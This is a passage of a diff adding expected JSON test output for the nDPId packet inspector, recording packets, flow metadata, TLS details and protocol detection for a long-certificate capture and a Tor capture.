GVudGl0eS5saW51eGZvdW5kYXRpb24ub3Jnggxqb2ViaWRlbi5jb22CCmp3YXRjaC5vcmeCD2tpbmdzZm9yZC5jby5ueoIYa2luZ3Nmb3JkY2hhcmNvYWwuY29tLmF1gg5sYW5jZW50ZXJzLmNvbYIZbGlzdHMubGludXhmb3VuZGF0aW9uLm9yZ4IZbS1zdGFnZS5jb29sbWF0aGdhbWVzLmNvbYITbS5jb29sbWF0aGdhbWVzLmNvbYIMbWFkZWJ5d2UuY29tgg5taW5pcm9kaW5pLmNvbYIMbW9kY2xvdGgubmV0ggxvcmlvbmxhYnMuaW+CFnB1cml0YW5tZWRwcm9kdWN0cy5jb22CC3Jldmlld3Mub3Jngh5yZy12aWRlby1zdGFnaW5nLnJ1YW5nZ3VydS5jb22CFnJnLXZpZGVvLnJ1YW5nZ3VydS5jb22CDXJ1"} +00440{"flow_id":1,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":8,"source":"tls_verylong_certificate.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1578254908,"pkt_ts_usec":490412,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"EBMx8Tl2KDc3AG3ICABFAAA0AABAAEAGnuXAqAGgl2VCMdYUAbur4+JK2Haod4AQD9X9EgAAAQEICgG\/tyVynbuH"} +02279{"flow_id":1,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":9,"source":"tls_verylong_certificate.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1578254908,"pkt_ts_usec":490433,"pkt_caplen":1434,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1434,"pkt_l4_len":1400,"pkt":"KDc3AG3IEBMx8Tl2CABFAAWMJkNAADYGfUqXZUIxwKgBoAG71hTYdqh3q+PiSoAQADi2agAAAQEICnKdu4cBv7cXYW5nZ3VydS5jb22CCnNjb2RsZS5jb22CF3N0YWdlLmNvb2xtYXRoZ2FtZXMuY29tghRzdGFnaW5nLmFwcGJsYWRlLmNvbYIPc3RlZWxzZXJpZXMuY29tghtzdGcucGxhdGZvcm0uZWx1bml2ZXJzby5jb22CDnRlc3QuYnJpdGEuY29tggx0ZXN0LmhlYXAuaW+CEXRlc3Quam9lYmlkZW4uY29tghJ0ZXN0LnJ1YW5nZ3VydS5jb22CDnRoZWZvcmVtYW4ub3JnghV2aWRlby1jZG4ucXVpcHBlci5jb22CF3ZpZGVvcy5jYWxjd29ya3Nob3AuY29tggd2dHMuY29tghJ3d3cuMTAxbmV0d29yay5jb22CEHd3dy5hdXRvczEwMS5jb22CDXd3dy5icml0YS5jb22CDnd3dy5jbG9yb3guY29tghB3d3cuY29sbGlkZXIuY29tghV3d3cuY29vbG1hdGhnYW1lcy5jb22CEnd3dy5lbHVuaXZlcnNvLmNvbYIOd3d3LmZsaW50by5jb22CEXd3dy5mcmVzaHN0ZXAuY29tggt3d3cuaGVhcC5pb4IRd3d3LmhvbGFnZW50ZS5jb22CE3d3dy5pY3N5ZG5leS5jb20uYXWCEHd3dy5qb2ViaWRlbi5jb22CE3d3dy5raW5nc2ZvcmQuY28ubnqCD3d3dy5tcm5hdHR5LmNvbYIbd3d3Lm15amV3ZWxsZXJ5c3RvcnkuY29tLmF1ggx3d3cubXlqcy5jb22CD3d3dy5uZXRhY2VhLmNvbYIUd3d3LnBhcmVudGluZzEwMS5jb22CGnd3dy5wdXJpdGFubWVkcHJvZHVjdHMuY29tgg93d3cucmV2aWV3cy5vcmeCCnd3dy5zYmEuc2GCEXd3dy5zaGFzaGF0Y29tLnNhghp3d3cudWF0Lm9udGFyaW9jb2xsZWdlcy5jYYITd3d3LnZhY2F0aW9uMTAxLmNvbYIXd3d3LndhbHRlcnNwZW9wbGUuY28udWuCHXd3dy53ZXN0d2F5ZWxlY3RyaWNzdXBwbHkuY29tMB0GA1UdJQQWMBQGCCsGAQUFBwMBBggrBgEFBQcDAjAfBgNVHSMEGDAWgBSpK4fhziRHOxu\/z4U3AlWdDZRY5jAdBgNVHQ4EFgQU2CO0eMPJq2CeqVZCIeX1YrVvvTkwggEDBgorBgEEAdZ5AgQCBIH0BIHxAO8AdgCHdb\/nWXz4jEOZX73zbv9WjUdWNv9KtWDBtOr\/XqCDDwAAAW6BSSgiAAAEAwBHMEUCIG6nkvzIZDj5rhbdbal5n1pBtt3rnqxh+6TcEjEtD\/irAiEAoAKCiwufsd4qr\/cWCTskhlcs6m2522hByYB17xG5Yd0AdQCyHgXMi6LNiiBOh2b5K7mKJSBna9r6cOeySVMt74uQXgAAAW6BSSiwAAAEAwBGMEQCIBp3yFYvVThVDRFyxmwn4rNl38YJZzQmmVby6O172\/IQAiBWgmeRoaRi+QWXUFo2BdkM0pNYnLsKD4IXGsbS+aGODTANBgkqhkiG9w0BAQsFAAOCAQEAPVKJBSV6XJU\/A7sY94vAIqukZFKVmxLSr7+0gP1WUidgzTJDIJIE3YtPsNMHJQ8JnqGGOWmt52V\/utr7Khnkpe5FsIFqX6\/DqaNlhbtwQtP62lXW6GDkYEOD\/PmwzBByXfKcpwXu3A2+GCdGYkqnaCFqbEIFqjcIIeBnbZkbw+9m+iSSLwhMso2hCQMOEFJdZDzZi2N1V89HQfEwNxfmEjfjTifXwhtTqk7bMAc3hG6CB4OCLvwktKKz73u4hK0zUO4z"} +00442{"flow_id":1,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":10,"source":"tls_verylong_certificate.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1578254908,"pkt_ts_usec":490465,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"EBMx8Tl2KDc3AG3ICABFAAA0AABAAEAGnuXAqAGgl2VCMdYUAbur4+JK2Hatz4AQEAD3jwAAAQEICgG\/tyVynbuH"} +02286{"flow_id":1,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":11,"source":"tls_verylong_certificate.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1578254908,"pkt_ts_usec":490567,"pkt_caplen":1434,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1434,"pkt_l4_len":1400,"pkt":"KDc3AG3IEBMx8Tl2CABFAAWMJkRAADYGfUmXZUIxwKgBoAG71hTYdq3Pq+PiSoAQADha5wAAAQEICnKdu4cBv7cXbR\/LX8nVOu2fvuHvWFyjyBSf2+8VLzx\/QeXyjMJokT1EA2WFxc4WCWKwGvR+\/BLYJMtHu4C10XjRAu40GwAEjzCCBIswggNzoAMCAQICDkbwjNvPLFRm7zMB3V80MA0GCSqGSIb3DQEBCwUAMFcxCzAJBgNVBAYTAkJFMRkwFwYDVQQKExBHbG9iYWxTaWduIG52LXNhMRAwDgYDVQQLEwdSb290IENBMRswGQYDVQQDExJHbG9iYWxTaWduIFJvb3QgQ0EwHhcNMTUwODE5MDAwMDAwWhcNMjUwODE5MDAwMDAwWjBXMQswCQYDVQQGEwJCRTEZMBcGA1UEChMQR2xvYmFsU2lnbiBudi1zYTEtMCsGA1UEAxMkR2xvYmFsU2lnbiBDbG91ZFNTTCBDQSAtIFNIQTI1NiAtIEczMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAo8B14TKY5dmuhHyN6CNfRpVbTKIlcNeQBIWAybX0imVNksulxEKgtnklMe3xhSDNE1E9Z6yXTWibM4Zcs3stqt93oGHR9Tz7mvzT1ZTKyR6AG5CQyKyN9mAXnDG4xWGi4m5XJQhvJJmZz5S\/x4trsB\/KFPoYm2wQfJkr2kpj5bJOwv0+EAtI9HcLL\/CWSzruvTXehY3aEw7OAcRx09N3xQimYDklpydpXIPRb3Z47sVEW0W9KTvixgkPor4r3ONc2lpvjufJB2t+ocBTlYKJ4Hhccqhsvmdrq+cz2Yfy+Fwn9PYqO4fv2sJH2r+s6ydke0xT6zThL5sgTVQSa30ovQIDAQABo4IBUzCCAU8wDgYDVR0PAQH\/BAQDAgEGMB0GA1UdJQQWMBQGCCsGAQUFBwMBBggrBgEFBQcDAjASBgNVHRMBAf8ECDAGAQH\/AgEAMB0GA1UdDgQWBBSpK4fhziRHOxu\/z4U3AlWdDZRY5jAfBgNVHSMEGDAWgBRge2YaRQ2XyolQL30EzTSo\/\/z9SzA9BggrBgEFBQcBAQQxMC8wLQYIKwYBBQUHMAGGIWh0dHA6Ly9vY3NwLmdsb2JhbHNpZ24uY29tL3Jvb3RyMTAzBgNVHR8ELDAqMCigJqAkhiJodHRwOi8vY3JsLmdsb2JhbHNpZ24uY29tL3Jvb3QuY3JsMFYGA1UdIARPME0wCwYJKwYBBAGgMgEUMD4GBmeBDAECAjA0MDIGCCsGAQUFBwIBFiZodHRwczovL3d3dy5nbG9iYWxzaWduLmNvbS9yZXBvc2l0b3J5LzANBgkqhkiG9w0BAQsFAAOCAQEAoh1pigqOxBSDKioSTTknkE7wjazSlmJHNl6S0frFk7U3B2Up0vRTUGvJ9P409d24Hfr83BSsVpQnnEKqBE237VjZmdJJ5iAv06d3uCqJGu+nz4Yt1lPpC5OcTqvZRe6khIX\/NOQOwLulzl+ViYVwqsFd7M8r09mD3wPKgacCMrd3YRAlTtl089l5grUmcLRSvI8z14quGdD8kq0vujygSFhHXv0gVpUgwXIdq2aZpNV4N0gbn7JMN2d6\/ULS01ae0x2OxAxolrZHURD3e+sVCWT1+fBjFi093yNCOpNjzKuvT1cGx\/4UVWLOJxEZ4fRC7SIwazUaSgWApGXfzMtv0BYDAwFNDAABSQMAF0EEawxlsOPuC\/v6LcxjIYDdYK5Ef1pmh3pllnUlqZjGwLrqzaj1eiuLrGdt9kwOYB9ci5Qe9SBpSUxu4l57XQQp5AYBAQBe9Buretkf0+bEQtIAAIujrnbbG4g5USUjrun5rI4edUoHW0hniFtzIhgRMhGPoRKcRb0c10lv"} +03477{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":11,"source":"tls_verylong_certificate.pcap","alias":"nDPId-test","flow_id":1,"flow_packet_id":11,"flow_first_seen":1578254908457,"flow_last_seen":1578254908490,"flow_tot_l4_data_len":6361,"flow_min_l4_data_len":32,"flow_max_l4_data_len":1400,"flow_avg_l4_data_len":578,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.160","dst_ip":"151.101.66.49","src_port":54804,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS","breed":"Safe","category":"Media"},"tls": {"version":"TLSv1.2","client_requested_server_name":"feodotracker.abuse.ch","server_names":"p2.shared.global.fastly.net,*.12wbt.com,*.2bleacherreport.com,*.3bleacherreport.com,*.4bleacherreport.com,*.8bleacherreport.com,*.abuse.ch,*.acdn-it.ps-pantheon.com,*.cdn.livingmap.com,*.content.plastiq.com,*.dimensions.ai,*.dollarshaveclub.co.uk,*.dollarshaveclub.com,*.dontpayfull.com,*.ebisubook.com,*.foreignaffairs.com,*.fs.jibjab.com,*.fs.unitprints.com,*.ggleap.com,*.goodeggs.com,*.huevosbuenos.com,*.indy.myomnigon.com,*.jwatch.org,*.kingsfordcharcoal.com.au,*.lancenters.com,*.madebywe.com,*.minirodini.com,*.modcloth.net,*.orionlabs.io,*.ps-pantheon.com,*.scodle.com,*.steelseries.com,*.theforeman.org,*.uploads.eversign.com,*.uploads.schoox.com,*.vts.com,*.x.stg1.ebisubook.com,*.yang2020.com,12wbt.com,2bleacherreport.com,3bleacherreport.com,4bleacherreport.com,8bleacherreport.com,abuse.ch,brita.com,cdn.fwupd.org,cdn.livingmap.com,cdn.seated.com,cdn.skillacademy.com,clinicaloptions.com,clorox.com,content-preprod.beaverbrooksweb2.co.uk,content.beaverbrooks.co.uk,content.plastiq.com,coolmathgames.com,copterroyale.coolmathgames.com,d8-dev.coolmathgames.com,deflyio.coolmathgames.com,delivery-api.evadacms.com,dimensions.ai,dollarshaveclub.co.uk,dollarshaveclub.com,dontpayfull.com,eluniverso.com,email.amg-group.co,email.tekoforlife.co.uk,feedmarket.fr,freshstep.com,ggleap.com,goodeggs.com,heap.io,huevosbuenos.com,identity.linuxfoundation.org,joebiden.com,jwatch.org,kingsford.co.nz,kingsfordcharcoal.com.au,lancenters.com,lists.linuxfoundation.org,m-stage.coolmathgames.com,m.coolmathgames.com,madebywe.com,minirodini.com,modcloth.net,orionlabs.io,puritanmedproducts.com,reviews.org,rg-video-staging.ruangguru.com,rg-video.ruangguru.com,ruangguru.com,scodle.com,stage.coolmathgames.com,staging.appblade.com,steelseries.com,stg.platform.eluniverso.com,test.brita.com,test.heap.io,test.joebiden.com,test.ruangguru.com,theforeman.org,video-cdn.quipper.com,videos.calcworkshop.com,vts.com,www.101network.com,www.autos101.com,www.brita.com,www.clorox.com,www.collider.com,www.coolmathgames.com,www.eluniverso.com,www.flinto.com,www.freshstep.com,www.heap.io,www.holagente.com,www.icsydney.com.au,www.joebiden.com,www.kingsford.co.nz,www.mrnatty.com,www.myjewellerystory.com.au,www.myjs.com,www.netacea.com,www.parenting101.com,www.puritanmedproducts.com,www.reviews.org,www.sba.sa,www.shashatcom.sa,www.uat.ontariocolleges.ca,www.vacation101.com,www.walterspeople.co.uk,www.westwayelectricsupply.com","ja3":"2a26b1a62e40d25d4de3babc9d532f30","ja3s":"ae53107a2e47ea20c72ac44821a728bf","unsafe_cipher":0,"cipher":"TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256","issuerDN":"C=BE, O=GlobalSign nv-sa, CN=GlobalSign CloudSSL CA - SHA256 - G3","issuerDN":"C=US, ST=California, L=San Francisco, O=Fastly, Inc., CN=p2.shared.global.fastly.net","alpn":"http\/1.1","fingerprint":"E9:34:DF:E0:C5:31:3C:59:7E:E2:57:44:F2:82:E9:80:F5:5D:05:4B"}} +00725{"flow_id":1,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":12,"source":"tls_verylong_certificate.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1578254908,"pkt_ts_usec":490569,"pkt_caplen":276,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":276,"pkt_l4_len":242,"pkt":"KDc3AG3IEBMx8Tl2CABFAAEGJkVAADYGgc6XZUIxwKgBoAG71hTYdrMnq+PiSoAYADjE1QAAAQEICnKdu4cBv7cXzCLA0sJGrzYrkqYeX95fkjAkc1mPtjny9HtgPu1dnBHxIjyZwb3WbSh7xFHdjlJ9LayiCXU+dx64OQO5nS+WLY+1ZElqQk+i9g\/kMcB6yWny8XU2DsJ6luMRen3nv70cCttR1003kBzJKrSDFZmNLiiRMt8ct0QCIqjrBaLKDe9G6enBlLYoyT7wBnHEp28KoHWQu8rl3NwKln2FI3jNRS+GQYNDQGCzFiamKet1KePK0jikPpVZk2uHAbOSr+Z0aJx3kQ31imBNFgMDAAQOAAAA"} +00442{"flow_id":1,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":13,"source":"tls_verylong_certificate.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1578254908,"pkt_ts_usec":490605,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"EBMx8Tl2KDc3AG3ICABFAAA0AABAAEAGnuXAqAGgl2VCMdYUAbur4+JK2Haz+YAQD87xlwAAAQEICgG\/tyVynbuH"} +00615{"flow_id":1,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":14,"source":"tls_verylong_certificate.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1578254908,"pkt_ts_usec":501216,"pkt_caplen":192,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":192,"pkt_l4_len":158,"pkt":"EBMx8Tl2KDc3AG3ICABFAACyAABAAEAGnmfAqAGgl2VCMdYUAbur4+JK2Haz+YAYEAAKWAAAAQEICgG\/ty9ynbuHFgMDAEYQAABCQQTH5tGUopjSjWc3V5g8OPm4JB2tlghwqc4c7itepwfZrwFWixAP48WmSW\/oHUg0\/tDllM9KvSI4LF83FbIwkaj5FAMDAAEBFgMDACgAAAAAAAAAAGH0xPBqc1LQH3P3k4+rU181NnTrTx84D0HwPLdrBsFz"} +00513{"flow_id":1,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":15,"source":"tls_verylong_certificate.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1578254908,"pkt_ts_usec":512283,"pkt_caplen":117,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":117,"pkt_l4_len":83,"pkt":"KDc3AG3IEBMx8Tl2CABFAABnJkZAADYGgmyXZUIxwKgBoAG71hTYdrP5q+PiyIAYADhRZgAAAQEICnKdu40Bv7cvFAMDAAEBFgMDACj8bciWxFxco8nBV+vz6uJapqJf1ww4lYVxVlyDlR2X\/\/a25cyE9xS0"} diff --git a/test/results/tor.pcap.out b/test/results/tor.pcap.out new file mode 100644 index 000000000..caefb2e41 --- /dev/null +++ b/test/results/tor.pcap.out @@ -0,0 +1,466 @@ +00371{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1,"source":"tor.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1383821660,"pkt_ts_usec":212806,"pkt_caplen":60,"pkt_type":38,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":60,"pkt_l4_len":0,"pkt":"AYDCAAAA\/lQA2EYhACZCQgMAAAAAAIAAUlQAwqwfAAAAAIAAUlQAwqwfgAMAABQAAgAAAAAAAAAAAAAA"} +00150{"basic_event_id":5,"basic_event_name":"Unknown Ethernet packet type","thread_id":0,"packet_id":1,"source":"tor.pcap","alias":"nDPId-test","type":38} +00371{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2,"source":"tor.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1383821662,"pkt_ts_usec":212866,"pkt_caplen":60,"pkt_type":38,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":60,"pkt_l4_len":0,"pkt":"AYDCAAAA\/lQA2EYhACZCQgMAAAAAAIAAUlQAwqwfAAAAAIAAUlQAwqwfgAMAABQAAgAAAAAAAAAAAAAA"} +00150{"basic_event_id":5,"basic_event_name":"Unknown Ethernet packet type","thread_id":0,"packet_id":2,"source":"tor.pcap","alias":"nDPId-test","type":38} +00371{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3,"source":"tor.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1383821664,"pkt_ts_usec":212868,"pkt_caplen":60,"pkt_type":38,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":60,"pkt_l4_len":0,"pkt":"AYDCAAAA\/lQA2EYhACZCQgMAAAAAAIAAUlQAwqwfAAAAAIAAUlQAwqwfgAMAABQAAgAAAAAAAAAAAAAA"} +00150{"basic_event_id":5,"basic_event_name":"Unknown Ethernet packet type","thread_id":0,"packet_id":3,"source":"tor.pcap","alias":"nDPId-test","type":38} +00469{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":4,"source":"tor.pcap","alias":"nDPId-test","flow_id":1,"flow_packet_id":1,"flow_first_seen":1383821665420,"flow_last_seen":0,"flow_tot_l4_data_len":32,"flow_min_l4_data_len":32,"flow_max_l4_data_len":32,"flow_avg_l4_data_len":32,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.252","dst_ip":"91.143.93.242","src_port":51110,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00419{"flow_id":1,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4,"source":"tor.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1383821665,"pkt_ts_usec":420161,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"UlQA2EYhUlQAWul3CABFAAA0A15AAIAGe0DAqAH8W49d8semAbvp\/8nSAAAAAIACIABVtgAAAgQFtAEDAwgBAQQC"} +00420{"flow_id":1,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5,"source":"tor.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1383821665,"pkt_ts_usec":491157,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"UlQAWul3UlQA2EYhCABFAAA0AABAAC4G0J5bj13ywKgB\/AG7x6b4Wbj86f\/J04ASOQiLRwAAAgQFtAEBBAIBAwMH"} +00412{"flow_id":1,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6,"source":"tor.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1383821665,"pkt_ts_usec":491486,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":20,"pkt":"UlQA2EYhUlQAWul3CABFAAAoA19AAIAGe0vAqAH8W49d8semAbvp\/8nT+Fm4\/VAQAQAEIgAAAAAAAAAA"} +00700{"flow_id":1,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":7,"source":"tor.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1383821665,"pkt_ts_usec":498155,"pkt_caplen":269,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":269,"pkt_l4_len":235,"pkt":"UlQA2EYhUlQAWul3CABFAAD\/A2BAAIAGenPAqAH8W49d8semAbvp\/8nT+Fm4\/VAYAQAYUgAAFgMBANIBAADOAwFSe39m5Uhx5LWaEhy\/VSH7GBPue0xnQwvtdptmyyiBdQAASMAKwBQAiACHADkAOMAPwAUAhAA1wAfACcARwBMARQBEADMAMsAMwA7AAsAEAJYAQQAEAAUAL8AIwBIAFgATwA3AA\/7\/AAoA\/wEAAF0AAAAZABcAABR3d3cuY3Q3Y3RyZ2I2Y3I3LmNvbQALAAQDAAECAAoANAAyAAEAAgADAAQABQAGAAcACAAJAAoACwAMAA0ADgAPABAAEQASABMAFAAVABYAFwAYABk="} +00739{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":7,"source":"tor.pcap","alias":"nDPId-test","flow_id":1,"flow_packet_id":4,"flow_first_seen":1383821665420,"flow_last_seen":1383821665498,"flow_tot_l4_data_len":319,"flow_min_l4_data_len":20,"flow_max_l4_data_len":235,"flow_avg_l4_data_len":79,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.252","dst_ip":"91.143.93.242","src_port":51110,"dst_port":443,"l4_proto":"tcp","ndpi": {"flow_risk": {"7":"Obsolete TLS version (< 1.1)"},"proto":"TLS","breed":"Safe","category":"Web"},"tls": {"version":"TLSv1","client_requested_server_name":"www.ct7ctrgb6cr7.com","ja3":"581a3c7f54555512b8cd16e87dfe165b","ja3s":"","unsafe_cipher":0,"cipher":"TLS_NULL_WITH_NULL_NULL"}} +00404{"flow_id":1,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":8,"source":"tor.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1383821665,"pkt_ts_usec":595471,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"UlQAWul3UlQA2EYhCABFAAAovfFAAC4GErlbj13ywKgB\/AG7x6b4Wbj96f\/KqlAQAHsD0AAA"} +01416{"flow_id":1,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":9,"source":"tor.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1383821665,"pkt_ts_usec":606254,"pkt_caplen":802,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":802,"pkt_l4_len":768,"pkt":"UlQAWul3UlQA2EYhCABFAAMUvfJAAC4GD8xbj13ywKgB\/AG7x6b4Wbj96f\/KqlAYAHsRmwAAFgMBADkCAAA1AwFSe3FhblJ+qnc\/Xzrv\/Y8DDcBFhBvTPyDsEKscsd0kcQDAEwAADf8BAAEAAAsABAMAAQIWAwEB0AsAAcwAAckAAcYwggHCMIIBK6ADAgECAghNHmd17ZYxhDANBgkqhkiG9w0BAQUFADAkMSIwIAYDVQQDExl3d3cueGtnazdmZHgzNjJ5eXl4aWIuY29tMB4XDTEzMTAwMzAwMDAwMFoXDTEzMTExODIzNTk1OVowIzEhMB8GA1UEAxMYd3d3Lmc2Z2h2aXNldmYzaWJ1dTUubmV0MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQDHZ8HsrDd3h3QHNwmeQmsZhanoLQrgAdOGeNpqPnN8EeEfWHfAhERw2P2X\/65ntH30P1+pO341gfmDPiVnWKrKbdemOhWc5+hwLlrFMBHRwZhKfLV209jv90DdPiH2IEACikyepIw6POeuekcFmqTOmoCEJTbNBSj+8LU10shZzwIDAQABMA0GCSqGSIb3DQEBBQUAA4GBAAld0vA63k+sJBP0ASZPfowRgyf+KO3kn9u3Vfn7j2WGuu25E+hu31LvqyGY8p7YDhLtCfkLQW1kVQfVdYZigxa2W4XZzHJjJYQrJ4F3JAYrDHIJCSkFotsj+MHGvK8RMtwgWN\/DmTm0H+ElopdeZ6A1Yuf68M1eu+xcwU2J0cvXFgMBAMsMAADHAwAXQQSvlfSdTowV7IWy1hEB2lrCnfDzGtBqT\/O8oAtmrv2JLdqdXF9TVeFWadHWqnWPGu6R+q42bK4+xjL04xQfF3pJAIC\/xQ6mh+tNVoGiUr0NNcGTl\/oiliWHeVQ\/Ju\/zL08UfHENRqFwbSMKVqwe1ATJEGwjD2o4uXXxFa7TuOOqF2A7NSc1tB1EOMyaSxSj2ErpMMeriZLtJkC2ATIqhThSiA2Zyhk6VZhBmt03QbLE5z3Buy1faaJlcTBsDXGPf+lHOxYDAQAEDgAAAA=="} +00951{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":9,"source":"tor.pcap","alias":"nDPId-test","flow_id":1,"flow_packet_id":6,"flow_first_seen":1383821665420,"flow_last_seen":1383821665606,"flow_tot_l4_data_len":1107,"flow_min_l4_data_len":20,"flow_max_l4_data_len":768,"flow_avg_l4_data_len":184,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.252","dst_ip":"91.143.93.242","src_port":51110,"dst_port":443,"l4_proto":"tcp","ndpi": {"flow_risk": {"7":"Obsolete TLS version (< 1.1)"},"proto":"TLS","breed":"Safe","category":"Web"},"tls": {"version":"TLSv1","client_requested_server_name":"www.ct7ctrgb6cr7.com","ja3":"581a3c7f54555512b8cd16e87dfe165b","ja3s":"184d532a16876b78846ae6a03f654890","unsafe_cipher":0,"cipher":"TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA","issuerDN":"CN=www.xkgk7fdx362yyyxib.com","issuerDN":"CN=www.g6ghvisevf3ibuu5.net","fingerprint":"94:F9:FF:E2:7F:DB:1F:B8:19:65:20:6F:F6:DE:B6:A5:D5:AF:14:C7"}} +00589{"flow_id":1,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":10,"source":"tor.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1383821665,"pkt_ts_usec":610798,"pkt_caplen":188,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":188,"pkt_l4_len":154,"pkt":"UlQA2EYhUlQAWul3CABFAACuA2FAAIAGesPAqAH8W49d8semAbvp\/8qq+Fm76VAYAP0DsgAAFgMBAEYQAABCQQQBz\/iRhshChnDAfb40Y8MWCXprjP8lZG1DtE+U+j6BWPrq+5OFeCsW2pZ7Suy0BvJsDRr0urFqDxcFndXejXYEFAMBAAEBFgMBADB1hh6st8IRTt9zFzeTFecieoX\/gRdWKeoIyOPbMfbM9ZtQFSMUifno+9FawQ2f0SI="} +00487{"flow_id":1,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":11,"source":"tor.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1383821665,"pkt_ts_usec":694821,"pkt_caplen":113,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":113,"pkt_l4_len":79,"pkt":"UlQAWul3UlQA2EYhCABFAABjvfNAAC4GEnxbj13ywKgB\/AG7x6b4Wbvp6f\/LMFAYAIOUGAAAFAMBAAEBFgMBADBVGONY7qr+VSoL0tusO+zWBvMzRndz3BHOEZVHB+8buEuy3EGlBEJ4IOcNmaSoQEo="} 